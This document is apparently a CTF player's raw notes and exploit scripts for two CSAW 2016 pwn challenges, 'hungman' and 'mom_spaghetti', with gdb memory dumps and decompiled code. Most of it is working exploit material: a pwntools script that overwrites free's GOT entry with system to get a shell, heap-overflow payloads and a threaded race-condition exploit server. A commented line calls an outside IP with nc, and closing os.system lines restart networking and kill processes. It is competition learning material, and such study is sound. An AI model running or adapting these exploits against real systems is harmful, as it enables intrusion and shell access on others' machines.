$2 = {<text variable, no debug info>} 0x7f695817b490 <__libc_system>





000000000007c600 <__libc_free>:
000000000001f470 <free@plt>:

0000000000041490 <__libc_system>:



__GI___libc_free 0x7f69581b6600
free@plt 0x00007f6958159470
$5 = {void (void *)} 0x7f69584fa950 <free>


the distance from 
000000000007c600 <__libc_free>:
to
0000000000041490 <__libc_system>:

will be the same after aslr
free_libc_live = hacks...

system_libc_live = free_libc_live + (system_libc - free_libc)



I can't really test this locally anymore because my free has
a null and I did that +1 trick

so I can't write system

wait lolz I can
becasue the null is always there

I know that the same will happen for system

000000000007c600 <__libc_free>:
0000000000041490 <__libc_system>:

except system has a 90

no I'm is the retard can't do that


anyway
locally I can just prompt myself to enter the address of free


k so next problem
I was hoping to write system to free
and then when that string gets freed

I'd do 
write <addr_system>;/bin/sh to free got

then

free(<addr_system>;/bin/sh)
but the nulls in the address fuck that over


so I'm now aiming for buf 

0x13fd000: 0x00000000 0x00000000 0x00000031 0x00000000
0x13fd010: 0x42424242 0x42424242 0x42424242 0x42424242
0x13fd020: 0x42424242 0x42424242 0x42424242 0x42424242
0x13fd030: 0x42424242 0x42424242 0x42424242 0x42424242
0x13fd040: 0x000000f8 0x00000022 0x00602018 0x00000000
0x13fd050: 0x01010001 0x00010101 0x01010101 0x00000001
0x13fd060: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd070: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd080: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd090: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x13fd0c0: 0x00000000 0x00000000 0x00000031 0x00000000
0x13fd0d0: 0x6373646a 0x64796a75 0x646c7266 0x616b6370
0x13fd0e0: 0x64676b69 0x74656673 0x706d6574 0xd873736c
0x13fd0f0: 0x00000090 0x00000000 0x00000101 0x00000000
0x13fd100: 0x2b11b490 0x00007f0d 0x69622f3b 0x636e2f6e
0x13fd110: 0x2e323520 0x352e3236 0x39312e32 0x33312036









gdb-peda$ x/100wx 0x1b34000
0x1b34000: 0x00000000 0x00000000 0x00000031 0x00000000
0x1b34010: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34020: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34030: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34040: 0x0000008b 0x000000d0 0x01b34010 0x00000000
0x1b34050: 0x01010101 0x01010001 0x01010001 0x00000001
0x1b34060: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b34070: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b34080: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b34090: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b340a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b340b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b340c0: 0x00000000 0x00000000 0x00000031 0x00000000
0x1b340d0: 0x76786f61 0x78696362 0x68746771 0x75687565
0x1b340e0: 0x63686377 0x646b6d65 0x77746c6c 0x07637a74
0x1b340f0: 0x000000be 0x00000000 0x00000101 0x00000000
0x1b34100: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34110: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34120: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34130: 0x00000000 0x00000000 0x00602018 0x00000000
0x1b34140: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34150: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34160: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34170: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34180: 0x01010101 0x01010101 0x01010101 0x01010101



gdb-peda$ x/100wx 0x1b34000
0x1b34000: 0x00000000 0x00000000 0x00000031 0x00000000
0x1b34010: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34020: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34030: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34040: 0x00000000 0x00000000 0x00602018 0x00000000
0x1b34050: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34060: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34070: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34080: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34090: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b340a0: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b340b0: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b340c0: 0x01010101 0x01010101 0x00000031 0x00000000
0x1b340d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x1b340e0: 0x63686377 0x646b6d65 0x77746c6c 0x07637a74
0x1b340f0: 0x000000be 0x00000000 0x00000101 0x00000000
0x1b34100: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34110: 0x63636363 0x63636363 0x63636363 0x63636363
0x1b34120: 0x42424242 0x42424242 0x42424242 0x42424242
0x1b34130: 0x00000000 0x00000000 0x00602018 0x00000000
0x1b34140: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34150: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34160: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34170: 0x01010101 0x01010101 0x01010101 0x01010101
0x1b34180: 0x01010101 0x01010101 0x01010101 0x01010101



[*] Switching to interactive mode
sh: 1: \x90$\xa7�: not found
sh: 1: ulmomtaFcccccccccccccccc  : not found


fml

OMG I have called execve('jhaflhjjkldf') too many god damn times!

...

#!/usr/bin/python
import os
import time
from pwn import *
hungman = process("./hungman")
# hungman = remote('pwn.chal.csaw.io',8003)
# raw_input("start?")
letters = "abcdefghijklmnopqrstuvwxyz"
# intro
print hungman.recv()
hungman.sendline("B"*32) # send name
print hungman.recvline() # print welcome

def play_game(name="B"*32,should_change="y",shell=False):
 # raw_input('continue?')
 ret = ""
 for char in letters:
  line = hungman.recvline(timeout=1) # print progress
  print line + "bubbles"
  if "Default Highscore" in line:
   print "fuck"
   print hungman.recvuntil('?') # continu?
   hungman.send("y")
   break
  elif "High score!" in line:
   print "high"
   time.sleep(0.1)
   hungman.send(should_change + "\n")
   if should_change == "y":
    time.sleep(0.1)
    hungman.send(name)
    if shell:
     hungman.interactive()
   # hungman.interactive()
   ret =  hungman.recvuntil('?') # Highest player; cont?
   print ret
   hungman.send("y")
   break
  hungman.send(char) # send guess
 return ret



play_game()

# I like to do these a few times just to
# feel comfy :)
free_got = 0x0000000000602018
free_plt = 0x0000000000400800 # this jumps to what ^ that points to

# initially the got will point to free_plt + 6
# after we call free once the _dl_runtime_resolve
# will update the got to be the libc version of free
# from there I can work out system



# cmd = ";/bin/sh;;;;;"  "a"*16+ cmd + 
# play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00")
# play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00")
payload = 'cccccccccca;/bin/sh;cccccccccccc'
payload += "BBBB"*4 
payload += "\x00"*4 
payload += "\x08\x00\x00\x00" 
payload += p64(free_got)
payload += '\x01'*4*(4*7 +2) # win hangman
payload += '\x31\x00\x00\x00' # probs length of something
payload += '\x00\x00\x00\x00'
payload += "A"*(32-16)
# payload += "a" # buf .. or not
resp = play_game(payload) # +1 for local because free has a null at the start
print resp
index = resp.index("Highest player: ") + len("Highest player: ")
# free_libc_live = u64('\x00' + resp[index:index +5] + '\x00\x00')
# free_libc_live = u64(resp[index:index +6] + '\x00\x00')

# free_libc_live = int(raw_input("enter free libc").rstrip(),16)
# local
free_libc_live = 0x7ffff7aad600
system_libc = 0x0000000000041490
free_libc =   0x000000000007c600
 
# free_libc =   0x0000000000083a70 # <__libc_free>:
# system_libc = 0x0000000000045380 # <__libc_system>:

system_libc_live = free_libc_live + (system_libc - free_libc)

print hex(free_libc_live)
print hex(system_libc_live)
# raw_input("did you work out system?")
play_game(should_change="n")
# cmd = ";/bin/nc 52.62.52.196 1337"
# cmd = ";/bin/sh"
play_game(p64(system_libc_live),shell=True) # write system to free
play_game(should_change="n")
play_game(should_change="n")
# play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00")
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
play_game()
print 'yay'

# print 'yay'
# play_game()
# print 'yay'


#hungman.sendline('A'*4)
hungman.interactive()


flag{this_looks_like_its_a_well_hungman}

CSAW 2016 pwn 500 mom_spaghetti (DRAFT)

It's currently 8am and CSAW has just finished.
I'm doing remarcably wel fur ony a btf sleeeeeep ZzZZzzz


This is my braindump/thoughts on the challenge that I made during the competition.
I'll polish this up when I am a) not sleep deprived, and b) can be bothered :)

thinking.txt

the environment variable
SPAGHETTI_SETUP_COMMAND
runs a command on start up



on the first byte sent

if ( s[0] <= 'c' )

make s[0] many threads

printf '\x06\x00\xff\x10' | nc localhost 24242

make 6 threads
processing 127.0.0.1:4351 <-- p="" x10="" xff="">

need to deal with this bit's foolery

int output(char *format, ...)
{
  unsigned __int16 v1; // ax@1
  va_list va; // [sp+24h] [bp+Ch]@1

  va_start(va, format);
  v1 = pthread_self();
  printf("%s %04x ", "MOMS_SPAGHETTI", v1);
  return vprintf(format, va);
}
hmmmm



struct sockaddr {
    unsigned short    sa_family;    // address family, AF_xxx
    char              sa_data[14];  // 14 bytes of protocol address
};



0xf7dea2f0: 0xf7deab40f7400010 0xff100002f7dea358
0xf7dea300: 0x000000000100007f 0x0000000500000000



nc -l -p blah


    v3 = recv(fd, s, 8u, 0);
      if ( v3 == 8 )




need to send it 8


first 4 bytes need to be 1
first 8 bytes need to be < 0x40000000



buf = (int)malloc(n + 8);
need n to be giganormous
so that it overflows +8 and mallocs a small area


so that
if ( sock_recv(fd, bufa, n) )
reads in heaps


0xf7400468: 0x44434241 0x48474645


0x4847464544434241




moving into buf
0xf7400478: 0x44434241 0x00000000 0x00000000 0x00000000
0xf7400488: 0x00000000 0x00020b79 0x00000000 0x00000000



CD is like an internal pointer






=> 0x804920d : push   eax
   0x804920e : push   DWORD PTR [ebp-0x14]
   0x8049211 : push   DWORD PTR [ebp-0xc]
   0x8049214 : call   0x8048e37


arg[0]: 0x5  #fd
arg[1]: 0xf74048c3 --> 0x0  # bufa + 'CD'
arg[2]: 0x48474645 ('EFGH')









    memset(bytesRead, 0, 8u);
      numBytesRead = recv(fd, bytesRead, 8u, 0);
      if ( numBytesRead == 8 )
      {
        if ( *(_WORD *)bytesRead == 1 )         // BA = 00 01
        {
          if ( *((_DWORD *)bytesRead + 1) <= 0x40000000u )// HGFE <= 0x40000000
          {
            n = *((_DWORD *)bytesRead + 1) + *((_WORD *)bytesRead + 1);// = HGFE + DC
            buf = (int *)malloc(n + 8);         // 8 + CD + EFGH
            if ( buf )
            {
              v1 = *((_DWORD *)bytesRead + 1);
              *buf = *(_DWORD *)bytesRead;
              buf[1] = v1;
              free(bytesRead);
              bytesRead = buf;                  // abcdefgh01234567
              bufa = buf + 2;                   //         01234567
              if ( sock_recv(fd, bufa, n) )     // read EFGH+CD much into bufa
                output("[thread] failed to read %i bytes\n", n);
              buf = (int *)((char *)bufa + *((_WORD *)bytesRead + 1));// bufa + CD
              process_request(fd, (int)buf, *((_DWORD *)bytesRead + 1));
              sock_send(fd, " DONE", 5u);
            }
            else




v11 = parse_opcode((int)mem, memSize, (int)&s, 256);


=> 0x8048d6e : call   0x8048cca
   0x8048d73 : add    esp,0x10
   0x8048d76 : mov    DWORD PTR [ebp-0x10],eax
   0x8048d79 : cmp    DWORD PTR [ebp-0x10],0x0
   0x8048d7d : jne    0x8048d99
Guessed arguments:
arg[0]: 0xf7400488 ("ABCDEFGHIJKLMNOP")
arg[1]: 0xf7dea1c8 --> 0xab40
arg[2]: 0xf7fb2000 --> 0x18e98



(printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x82BCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351

x82

the right nibble of that
tellls how many opcodes to use



 (printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x04HintBCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351


 (printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x04HintBCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351



 '\x01\x00<CD><EFGH><CD_many_things><EFGH_many_things>'


{<EFGH_many_things>} = 
<X><X_many_things> for X < 0x80
or
<0xmn><n_many_things><int(n1,n2,n3,n4)_many_things> for m = 8 , n = 1,2,3,4

00ff == 256

<-- p="" x10="" xff="">


08
0000000040
1073741832
ffff
0000000040
1073807359



        # returnThing = "0100080003010000414141414141414181010145414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141".decode('hex')



very interesting



        returnThing = "0100080003010000414141414141414181010445414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141".decode('hex')


Server Said: \x04 INVALID REQUEST!  DONE

fuck yes
lol no..








I'm thinking its a race condition


gdb-peda$ x/32wx 0xf6c00400
0xf6c00400: 0xf6c003f8  0xf6c003f8  0xf6c00400  0xf6c00400
0xf6c00410: 0xf6c00408  0xf6c00408  0xf6c00410  0xf6c00410
0xf6c00420: 0xf6c00418  0xf6c00418  0xf6c00420  0xf6c00420
0xf6c00430: 0xf6c00428  0xf6c00428  0xf6c00430  0xf6c00430
0xf6c00440: 0x00000000  0x00000000  0x00000000  0x00000000
0xf6c00450: 0xf7792420  0x00000000  0x00021000  0x00021000
0xf6c00460: 0x00000000  0x00000015  0x00000000  0x00000000
0xf6c00470: 0x00000000  0x00020b91  0x00000000  0x00000000
gdb-peda$ x/32wx 0xf6c00400
0xf6c00400: 0xf6c003f8  0xf6c003f8  0xf6c00400  0xf6c00400
0xf6c00410: 0xf6c00408  0xf6c00408  0xf6c00410  0xf6c00410
0xf6c00420: 0xf6c00418  0xf6c00418  0xf6c00420  0xf6c00420
0xf6c00430: 0xf6c00428  0xf6c00428  0xf6c00430  0xf6c00430
0xf6c00440: 0x00000000  0x00000000  0x00000000  0x00000000
0xf6c00450: 0xf7792420  0x00000000  0x00021000  0x00021000
0xf6c00460: 0x00000000  0x00000015  0x00010001  0x00000002
0xf6c00470: 0x00000000  0x00020b91  0x00000000  0x00000000







next plan

fuck up this shit
0xf6c00480: 0x00000000  0x00020b81





New game plan


run 2 threads
tell the thing to expect some data and then make them wait
      numBytesRead = recv(fd, bytesRead, 8u, 0);
      if ( numBytesRead == 8 )
      {
        if ( *(_WORD *)bytesRead == 1 )         // BA = 00 01 unsigned
        {
          if ( *((_DWORD *)bytesRead + 1) <= 0x40000000u )// HGFE <= 0x40000000 unsigned
          {
            n = *((_DWORD *)bytesRead + 1) + *((_WORD *)bytesRead + 1);// = HGFE + DC
            buf = (int *)malloc(n + 8);         // 8 + CD + EFGH
            if ( buf )
            {
              v1 = *((_DWORD *)bytesRead + 1);
              *buf = *(_DWORD *)bytesRead;
              buf[1] = v1;
              free(bytesRead);
              bytesRead = buf;                  // abcdefgh01234567 0-7 == CD section
              bufa = buf + 2;                   //         01234567
              if ( sock_recv(fd, bufa, n) )     // read EFGH+CD much into bufa


you can hold program execution at the sock_recv and recv




practice manually fucking shit up

just before the malloc write to everywhere it will use



wtf happens here?
=> 0x8049201 :  add    DWORD PTR [ebp-0x14],eax


omg getting excited agian

I need to give small efgh and cd == about 3 to make buf that other thing in memorry maybe


what if I had 4 CDs! and 0 efgh

0xf6c00480: 0x00450141  0x00020b81



process_request(int fd, void *mem, int memSize)
process_request(int fd, &weirdShit, 0)



this is fucking glorious



0x8048d6e :  call   0x8048cca


0x00020b81
that


omg omg omg

   if ( *(_DWORD *)opLen <= (unsigned int)theRestLen )// unsigned
    {
      if ( *(_DWORD *)opLen + 1 <= stackBufLen )// signed


it's unsigned
so it's all sweet as

the signed one should be fine too


   if ( *(_DWORD *)opLen <= (unsigned int)theRestLen )// unsigned
    {
      if ( *(_DWORD *)opLen + 1 <= stackBufLen )// signed
      {
        opsLeft = *(_DWORD *)opLen;
        while ( 1 )
        {
          v7 = opsLeft--;
          if ( v7 <= 0 )
            break;
          v9 = *(_BYTE *)theRest;
          if ( v9 == -128 )
            return 0;
          v5 = stackBuf++;
          v6 = theRest++;
          *(_BYTE *)v5 = *(_BYTE *)v6;

then it does the copy

I should be able to malloc something directly after my little block
and then copy whatever I like into stackbuf


if opLen is ffff
then oplen +1 will be 0 which is less than stackBuffLen
that lets me overflow stackbuff

I'll also need to coordinate another thread to park some data in the heap there





k so turns out that you could get anything this way
which is good news

I'll spam a bunch of threads

at the start of each thread I'll put the payload I want for the opcode thing

84ffffffff

with that payload len theRestLen will be
-5

ff -1
fe -2
fd -3
fc -4
fb -5 <- p="" that="">
when I did it with my fluke bytes I got
0xfffffffe
so with my crafted payload I'll get
0xfffffffb

need oplen to be less that that
so the payload will have to be

84fffffffc at a max, which is a pretty generous upper limmit

at a minimum it has to be



7b40

      if ( v9 == 0x80u )
            return 0;

the hacking gods are in my favour
also I can put an 0x80 in shit and bail early once I've done the payload




    def generateResponse(self):


        opcodeData = self.opcodeData("E")
        CD = 2
        CD += self.num*4
        # EFGH = len(opcodeData)
        EFGH = 0
        returnThing = "\x01\x00" # version
        returnThing += p16(CD+2)
        returnThing += p32(EFGH)
        returnThing += "\x01T"
        returnThing += "\x80" * CD
        # returnThing += opcodeData
        # print returnThing.encode('hex')

        return returnThing


Server Said: T 57DEA1B2 DONE


using the "\x01T" left over from another use! woo



    def generateResponse(self):


        opcodeData = self.opcodeData("E")
        # CD = 0
        if self.num %2 == 0:
            CD = self.num*4
            # EFGH = len(opcodeData)
            EFGH = 0
            returnThing = "\x01\x00" # version
            returnThing += p16(5 + 13*4 + CD)
            returnThing += p32(EFGH)
            returnThing += "\x81\xff\xff\xff\xfa" # load big oplen for other thread
            returnThing += "A"*4
            returnThing += "B"*4
            returnThing += "C"*4
            returnThing += "D"*4
            returnThing += "E"*4        # stack overridding
            returnThing += "F"*4
            returnThing += "G"*4
            returnThing += "H"*4
            returnThing += "I"*4
            returnThing += "J"*4
            returnThing += "K"*4
            returnThing += "L"*4
            returnThing += "\x80"*4 # stop coppying
            returnThing += "A" * CD
            # returnThing += opcodeData
            # print returnThing.encode('hex')
            return returnThing

        else:
            CD = self.num*4
            # EFGH = len(opcodeData)
            EFGH = 0
            returnThing = "\x01\x00" # version
            returnThing += p16(CD)
            returnThing += p32(EFGH)
            returnThing += "A" * CD
            # returnThing += opcodeData
            # print returnThing.encode('hex')

            return returnThing





#theBestXD
    def generateResponse(self):


        opcodeData = self.opcodeData("E")
        # CD = 2
        CD = self.num
        # EFGH = len(opcodeData)
        EFGH = 0
        returnThing = "\x01\x00" # version
        returnThing += p16(CD*4)
        returnThing += p32(EFGH)
        returnThing += "\x01T\x01T"*CD
        # returnThing += "\x80" * CD
        # returnThing += opcodeData
        # print returnThing.encode('hex')

        return returnThing



copy_length + 1 > output_buffer_size

yay it works
nay it's hitting the thing

thinking send one then two and hold on the first recv
release 2 first so that it lines up



pause A till B leaves


0xf6200460: 0x00000000  0x00000015  0x00000000  0x00000000
0xf6200470: 0x00000000  0x00000015  0x00040001  0x00000000
0xf6200480: 0x42424242  0x00020b81  0x00000000  0x00000000



continue..

0xf6200460: 0x00000000  0x00000015  0x00000000  0x00000000
0xf6200470: 0x00000000  0x00000015  0xf6200460  0x00000000
0xf6200480: 0x42424242  0x00020b81  0x00000000  0x00000000


0xf6200440: 0x00000000  0x00000000  0x00000000  0x00000000
0xf6200450: 0xf6400010  0x00000000  0x00021000  0x00021000
0xf6200460: 0x00000000  0x00000015  0x00040001  0x00000000
0xf6200470: 0x00000000  0x00020b91  0x00000000  0x00000000
0xf6200480: 0x00000000  0x00000000  0x00000000  0x00000000







12 rows
6 blocks
3 extra

100 + 3 + 4*6 + 4*4*12


0xf59fe230: 0x41414141  0x41414141  0x41414141  0x41414141
0xf59fe240: 0x00000041  0x00000000  0x00000000  0x00000000
0xf59fe250: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe260: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe270: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe280: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe290: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2a0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2b0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2c0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2d0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2e0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe2f0: 0x00000000  0x00000000  0x00000000  0x00000000
0xf59fe300: 0x0100007f  0x00000000  0x00000006  0x00000006
0xf59fe310: 0x00000000  0xf59feb40  0xf59fe358  0x08049219





0xec3f0200: 0x41414141  0x020b7941  0x65000100  0x00000001
0xec3f0210: 0xffff8100  0x4141faff  0x41414141  0x41414141
0xec3f0220: 0x41414141  0x41414141  0x41414141  0x41414141
0xec3f0230: 0x41414141  0x41414141  0x41414141  0x41414141
0xec3f0240: 0x00000041  0x00000000  0x00000000  0x00000000
0xec3f0250: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f0260: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f0270: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f0280: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f0290: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f02a0: 0x00000000  0x00000000  0x00000000  0x00000000
0xec3f02b0: 0x00000000  0x00000000  0x00000000  0x00000000



why the fuck are they leaving!

        opsLeft = *(_DWORD *)opLen;
        while ( 1 )
        {
          v7 = opsLeft--;
          if ( v7 <= 0 )
            break;
          v9 = *(_BYTE *)theRest;
          if ( v9 == 0x80u )
            return 0;
          v5 = stackBuf++;
          v6 = theRest++;
          *(_BYTE *)v5 = *(_BYTE *)v6;
        }
        result = *(_DWORD *)opLen;
      }
      else
      {



8048E30

A block is likely to get the same as a previous block so I should set up
one thats like



Junk
Junk
Junk
Goodshit

and then malloc a spot so that it fits in

payloads = [
    "A"*128 + "\x81\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "CCCC",
    "B"*(128)
]

becomes:

payloads = [
    "A"*128 + "\x84\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "CCCC",
    "B"*(128)
]


lol


0x1ffff7f

    "A"*(126) + "\x84\x7f\xff\xff\xff" + 'A'*10 + "0x80",






#!/usr/bin/env python
import SocketServer
from pwn import *
from sys import stdin, stdout, argv
from struct import pack
from os import urandom, system
from time import *
THREADS = ord("c") # 99

REMOTE_SERVER = "localhost"
REMOTE_PORT   = 24242


# REMOTE_SERVER = "pwn.chal.csaw.io"
# REMOTE_PORT   = 8004

SOCKET_SERVER = "0.0.0.0"
SOCKET_PORT   = 6001 #int(sys.argv[1])

numThreads = 16
thread = 0
# threadList = [None for x in xrange(numThreads)]

# opcodes = [
#     "\x83\x00\x00\xff",
#     "\x84\xff\xff\xff\xfa",
#     "\x84\xff\xff\xff\xfa678",
#     "\x84\x80\x00\x00\x00",
#     "\x84\x83\x82\x81\xff"
# ]

# payloads = [
#     "\x01T"*0x7fff,
#     "AAAA"
# ]

# EABE was the
# payloads = [
#     "\x04EAAA"*64,
#     "\x04EBBB",
#     "\x04ECCC",
#     "\x04EDDD",
#     "\x04EAEE\x04EABE\x04EABC\x04EABC\x04EABC\x04EABC\x04EDBC\x04EDEC\x04EDEF\x04EDEF\x04EDEF\x04EAEF\x04EABF\x04EABC\x04EABC\x04EABC\x04EABC\x04EABC\x04EEBC\x04EEEC\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE\x04EEEE"
# ]
# payloads = [
#     "\x81\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "BBBB"*100,
#     "\x81\x00\x00\x02\xff",
#     ""
# ]
    # "B"*(128) + "BBBB" lines up wiht that weird thing
payloads = [
    "A"*(126 + 5 + 10 + 1 + 100),
    "A"*(126) + "\x84\x7f\xff\xff\xff" + 'A'*10 + "0x80",
    "B"*(126)
]

# thinking logically about this 

# spray E's everywhere
# ... or not that was stupid 


# payloads = [chr(a)*4 for a in range(ord('A'), ord('Z')+1)]


header = lambda c: "\x01\x00"+p16(len(c))+p32(0)


# if special:
#     returnThing += "\x84\xff\xff\xff\xfa678"*CD
#     # returnThing += "\x80"*4
# else:
#     returnThing += "\x84\xff\xff\xff\xf067\x80"*CD
# returnThing += opcodeData
# print returnThing.encode('hex')

# return returnThing

class TCPHandler(SocketServer.BaseRequestHandler):

    def serverResponse(self, response):
        # if "T" in response:
        #     print "yep"

        stdout.write("\033[1;36mServer Said: \033[39m{}\033[0m\n".format(response.encode('hex')))
        stdout.write("\033[1;36mServer Said: \033[39m{}\033[0m\n".format(response))
        stdout.flush()

    def handle(self):
        global thread
        payload = payloads[thread%len(payloads)]
        thread += 1
        # b = thread
        # if thread%2 == 0:
        #     sleep(0.0015)
            # raw_input('continue?')
        # sleep(b * 0.001)
        # send the header and then wait
        if thread < 5 or thread > 14:
            sleep(0.1*thread)
        package = header(payload) + payload

        # print package.encode('hex')
        self.request.sendall(package)
        recieved = self.request.recv(1024)
        self.serverResponse(recieved)

# Create server and bind
server = SocketServer.ThreadingTCPServer(("0.0.0.0",SOCKET_PORT),TCPHandler)


# Initialise remote client
rmsrv = remote(REMOTE_SERVER, REMOTE_PORT)
clientData = pack("<HH", numThreads, SOCKET_PORT)
rmsrv.sendline(clientData)
rmsrv.close()

server.allow_reuse_address=True

# for x in range(numThreads):
# server.handle_request()
server.serve_forever()

server.server_close()



os.system("/etc/init.d/networking restart")
os.system("netstat -pant | grep mom | grep -v LISTEN | cut -d\   -f 36 | sed 's/\/.*//g' | xargs kill -9")



print